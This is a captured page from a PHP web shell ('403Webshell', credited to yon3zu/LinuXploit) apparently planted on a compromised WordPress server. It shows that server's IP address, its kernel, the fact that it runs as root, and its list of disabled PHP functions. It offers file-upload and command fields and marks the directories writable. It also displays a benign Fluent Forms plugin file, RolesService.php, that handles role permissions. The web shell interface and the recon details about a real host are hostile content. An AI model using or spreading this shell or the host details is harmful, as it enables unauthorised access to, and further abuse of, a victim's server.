403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.217.46
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : root ( 0)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/wp.2/wp-content/plugins/fluentform/app/Services/Roles/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/wp.2/wp-content/plugins/fluentform/app/Services/Roles/RolesService.php
<?php

namespace FluentForm\App\Services\Roles;

use FluentForm\Framework\Support\Arr;

class RolesService
{
    public function getRoles($attributes = [])
    {
        if (!current_user_can('manage_options')) {
            return ([
                'capability' => [],
                'roles'      => [],
            ]);
        }

        $formatted = $this->getFormattedRoles();

        $capability = get_option('_fluentform_form_permission');

        if (is_string($capability)) {
            $capability = [];
        }

        return ([
            'capability' => $capability,
            'roles'      => $formatted,
        ]);
    }
    
    public function setCapability($attributes = [])
    {
        if (current_user_can('manage_options')) {
            $capability = wp_unslash(Arr::get($attributes, 'capability', []));
            
            foreach ($capability as $item) {
                if ('subscriber' == strtolower($item)) {
                    return ([
                        'message' => __('Sorry, you can not give access to the Subscriber role.', 'fluentform'),
                    ]);
                }
            }
            
            update_option('_fluentform_form_permission', $capability, 'no');
            
            return ([
                'message' => __('Successfully saved the role(s).', 'fluentform'),
            ]);
        } else {
            return ([
                'message' => __('Sorry, You can not update permissions. Only administrators can update permissions',
                    'fluentform')
            ]);
        }
    }
    
    private function getFormattedRoles()
    {
        if (!function_exists('get_editable_roles')) {
            require_once ABSPATH . 'wp-admin/includes/user.php';
        }
        
        $formatted = [];
        $roles = \get_editable_roles();
        
        foreach ($roles as $key => $role) {
            if ('administrator' == $key) {
                continue;
            }
            if ('subscriber' != $key) {
                $formatted[] = [
                    'name' => $role['name'],
                    'key'  => $key,
                ];
            }
        }
        return $formatted;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit